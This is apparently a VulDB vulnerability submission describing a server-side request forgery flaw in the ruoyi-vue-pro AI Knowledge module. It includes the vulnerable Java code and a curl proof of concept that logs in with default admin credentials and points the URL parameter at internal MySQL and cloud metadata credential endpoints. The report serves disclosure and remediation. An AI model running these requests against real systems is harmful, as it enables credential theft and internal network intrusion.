Submit #908270: zhijiantianya ruoyi-vue-pro 2026.06 输入验证错误

A Server-Side Request Forgery (SSRF) vulnerability was discovered in the AI Knowledge module of ruoyi-vue-pro (yudao-server). The readUrl() method in AiKnowledgeDocumentServiceImpl.java directly passes user-controlled URL parameter to cn.hutool.http.HttpUtil.downloadBytes() without any validation or filtering.

Vulnerable file: yudao-module-ai/src/main/java/cn/iocoder/yudao/module/ai/service/knowledge/AiKnowledgeDocumentServiceImpl.java
Vulnerable method: readUrl(String url) at line 174-196

Vulnerable code:
```java
public String readUrl(String url) {
byte[] bytes = HttpUtil.downloadBytes(url); // No validation
resource = new ByteArrayResource(bytes);
// ...
}
```

The vulnerability exists because:
1. No URL protocol whitelist (http/https/file all allowed)
2. No internal IP address filtering (127.0.0.0/8, 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16, x.x.x.x/16)
3. No port restriction
4. No DNS rebinding protection

Affected endpoints:
- POST /admin-api/ai/knowledge/document/create (parameter: url)
- POST /admin-api/ai/knowledge/document/create-list (parameter: url)
- POST /admin-api/ai/knowledge/segment/split (parameter: url)
- POST /admin-api/ai/image/midjourney/imagine (parameter: referImageUrl)

Proof of Concept:
```bash
# Login to get token
TOKEN=$(curl -s -X POST 'http://target:48080/admin-api/system/auth/login' \
-H 'Content-Type: application/json' -H 'tenant-id: 1' \
-d '{"username":"admin","password":"admin123","captchaVerification":"captcha-is-disabled"}' \
| python3 -c "import sys,json; print(json.load(sys.stdin)['data']['accessToken'])")

# Create knowledge base
curl -X POST 'http://target:48080/admin-api/ai/knowledge/create' \
-H "Authorization: Bearer $TOKEN" -H 'tenant-id: 1' \
-H 'Content-Type: application/json' -d '{"name":"test"}'

# SSRF: access internal MySQL
curl -X POST 'http://target:48080/admin-api/ai/knowledge/document/create' \
-H "Authorization: Bearer $TOKEN" -H 'tenant-id: 1' \
-H 'Content-Type: application/json' \
-d '{"knowledgeId":1,"name":"SSRF","url":"http://internal-mysql:3306/"}'

# SSRF: access AWS metadata service
curl -X POST 'http://target:48080/admin-api/ai/knowledge/document/create' \
-H "Authorization: Bearer $TOKEN" -H 'tenant-id: 1' \
-H 'Content-Type: application/json' \
-d '{"knowledgeId":1,"name":"SSRF","url":"http://x.x.x.x/latest/meta-data/iam/security-credentials/"}'
```

Verification results (dynamically confirmed):
- Successfully accessed internal MySQL (TCP connection established)
- Successfully accessed internal Redis (TCP connection established)
- Successfully accessed internal application (HTTP response returned)
- Successfully accessed external URLs (no outbound filtering)
- Can be used for internal port scanning

Impact:
1. Internal network information disclosure
2. Cloud credential theft (AWS/GCP/Azure metadata)
3. API Key leakage to attacker-controlled URL
4. Firewall bypass

CVSS 3.1: 9.8 Critical (AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H)

Solution:
1. URL protocol whitelist (http/https only)
2. Internal IP blacklist
3. Port whitelist (80, 443, 8080)
4. DNS rebinding protection

• Source: ⚠️ https://github.com/YunaiV/ruoyi-vue-pro/blob/master/yudao-module-ai/src/main/java/cn/iocoder/yudao/module/ai/service/knowledge/AiKnowledgeDocumentServiceImpl.java
• User: liuyulin (UID 100186)
• Submission: 07/29/2026 03:40 (2 months ago)
• Moderation: 09/24/2026 13:34 (2 months later)
• Status: Accepted
• VulDB entry: 409328 [YunaiV/zhijiantianya ruoyi-vue-pro up to 2026.08 AI Knowledge AiKnowledgeDocumentServiceImpl.java AiKnowledgeDocumentServiceImpl.readUrl url server-side request forgery]
• Points: 20